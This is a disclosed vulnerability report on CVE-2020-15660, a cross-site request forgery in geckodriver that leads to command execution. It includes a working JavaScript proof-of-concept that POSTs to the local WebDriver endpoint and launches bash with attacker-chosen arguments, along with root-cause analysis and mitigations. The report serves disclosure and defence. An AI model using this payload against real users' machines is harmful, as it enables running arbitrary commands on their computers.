Skip to content
CSRF Disclosed report Intermediate CVE-2020-15660

CSRF to RCE in geckodriver

geckodriver accepts session-creation requests with any Content-Type, so a malicious page can POST to the local WebDriver endpoint from another origin. Because the request can set the Firefox binary path and arguments, an attacker can run arbitrary system commands when no session is active.

Gabriel Corona Follow

Originally disclosed on Mozilla

  • Fixed in 31 days
  • Paid in 38 days
  • Disclosed after 31 days

geckodriver is vulnerable to Cross-Site Request Forgery. While no WebDriver session is running, this can be used to execute arbitrary system commands (remote command execution) as demonstrated by this exploit:

JavaScript
fetch("http://localhost:4444/session", {
    method: "POST",
    mode: 'no-cors',
    headers: {
        'Content-Type': 'text/plain'
        },
    body: JSON.stringify({
        "capabilities": {
        "alwaysMatch": {
            "moz:firefoxOptions": {
                "binary": "/bin/bash",
                "args": ["posix", "+n", "-c", 'bash -c "$1"', "bash", "xterm -e nyancat"]
            }
        }
        }
    }),
});

This vulnerability has been tested on:

  • Mozilla Firefox 79.0a1
  • geckodriver 0.26.0 (e9783a644016 2019-10-10 13:38 +0000)
  • Debian testing

Cross-Site Request Forgery

By default, geckodriver listens on http://localhost:4444. This prevents other machines from directly attacking the geckodriver instance. However geckodriver is vulnerable to Cross-Site Request Forgery attacks as demonstrated by:

JavaScript
fetch("http://localhost:4444/session", {
    method: "POST",
    mode: 'no-cors',
    headers: {
        'Content-Type': 'text/plain'
        },
    body: JSON.stringify({
        "capabilities": {
            "alwaysMatch": {}
        }
    };
});

When executed by the user's browser from another origin, this code spawns a new Firefox instance. This must happen while no WebDriver session is running in geckodriver as geckodriver rejects the creation of a second session.

The scope of this attack might seem limited because the attacker cannot easily interact with the created session. Acting on the session through CSRF is possible if the session ID is known but it is not easily possible for the attacker to find the session ID:

  • it cannot get the session ID from the geckodriver response;

  • it is very difficult to guess the session ID as it is a UUIDv4.

Remote Code Execution

It is however possible for the attacker to execute arbitrary commands with the session creation request.

Of particular interest are the following properties of moz:firefoxOptions [1]:

  • binary lets the attacker specify the path of the Firefox binary to execute;

  • args lets the attacker specify a list of arguments to pass to this command;

  • profile lets the attacker specify a profile directory (which could be used to load interesting extensions in the browser);

  • prefs lets the attacker set Firefox preferences;

  • env lets the attacker set environment variables.

The actual command executed by geckodriver to create a browser is:

Shell
"$binary" -marionette "$args[@]" -foreground -no-remote -profile "$profile"

In order to execute arbitrary command we need to find a program which accepts an initial -marionette argument and execute commands taken from $args or from environment variables.

bash can used to execute arbitrary system commands as demonstrated by the following exploit which executes the xterm -e nyancat system command:

JavaScript
fetch("http://localhost:4444/session", {
    method: "POST",
    mode: 'no-cors',
    headers: {
        'Content-Type': 'text/plain'
        },
    body: JSON.stringify({
        "capabilities": {
        "alwaysMatch": {
            "moz:firefoxOptions": {
                "binary": "/bin/bash",
                "args": ["posix", "+n", "-c", 'bash -c "$1"', "bash", "xterm -e nyancat"]
            }
        }
        }
    }),
});

The command executed by geckodriver is:

Shell
bash -marionnette posix +n -c 'bash -c "$1"' bash "xterm -e nyancat" \
  -foreground -no-remote -profile "$profile"

The initial -marionette argument is interpreted as a serie of flags. The only problematic ones are:

  • The -r flag asks for a restricted shell. This might be problematic because it adds a number of restriction to the commands allowed. It is however easy to escape from this restricted shell by calling a new shell instance as is done in this example.

  • The -n flag asks to only parse the commands instead of executing them. This could be problematic but we can actually reverse it with +n.

  • The -o flags expects an option in the following argument. In this example, we set the posix option.

Mitigations

Content-Type Validation

CSRF is possible because geckodriver accepts requests with any Content-Type. Another origin can make POST requests to geckodriver using the following content-types: application/x-www-form-urlencoded, multipart/form-data, text/plain.

geckodriver could fix this vulnerability by rejecting these content-types. geckodriver could even reject all requests which do not have a JSON content-type. This seems to be a violation of the WebDriver specification which does not mandate a JSON content-type for WebDriver POST requests.

It looks like this is a defect of the WebDriver specification which encourages CSRF attacks on WebDriver servers (a similar issue has been reported on another implementation). The specification should explicitely allow a server-side implementation of the WebDriver to reject dangerous content-types and should require the client-side to use a JSON content-type. Additionnaly, the security section of the WebDriver specification should probably mention the risks of CSRF attacks.

HTTP-level Authentication

An new command-line flag could be added to gekodriver in order to require some form of HTTP authentication. When enabled, this would prevent CSRF attacks as well as attacks from other users on the same host.

PF_LOCAL Socket

geckodriver could receive a new option to listen on a PF_LOCAL socket. These sockets are normally not accessible by CSRF. This could additionnaly be used to prevent other users on the same machine from talking to the geckodriver instance.

References

[1] https://developer.mozilla.org/en-US/docs/Web/WebDriver/Capabilities/firefoxOptions#firefoxOptions

[2] https://fetch.spec.whatwg.org/

[3] https://www.w3.org/TR/webdriver2/

The original report as published on Mozilla's Bugzilla, by Gabriel Corona. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely geckodriver performs no origin or Content-Type validation on session-creation requests and passes attacker-controlled binary and argument values straight to process execution.

Impact

An attacker could run arbitrary commands on the user's machine, but only while no WebDriver session is already running, and the attacker cannot easily read the session ID to control the spawned browser.

What the attacker needed

Geckodriver running on localhost; no active WebDriver session; victim visits attacker page

The fix

geckodriver should reject non-JSON content types and ideally require HTTP-level authentication or listen on a local socket instead of a TCP port.

How it was found

  1. Open a page on another origin while geckodriver is running with no active session.
  2. Send a POST to the local session endpoint with a simple content type.
  3. Include Firefox options that set the binary to a shell and supply arguments.
  4. geckodriver launches the chosen binary with the supplied arguments, running the command.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

geckodriver is a small helper program that lets test tools drive Firefox; it listens on the local machine only. A website you visit can still send requests to that local address, and because geckodriver does not check where the request came from or what format it is in, the site can ask it to start a program of its choosing. That turns a harmless-looking web page into a way to run commands on your computer.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by Gabriel Corona

View all

2 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.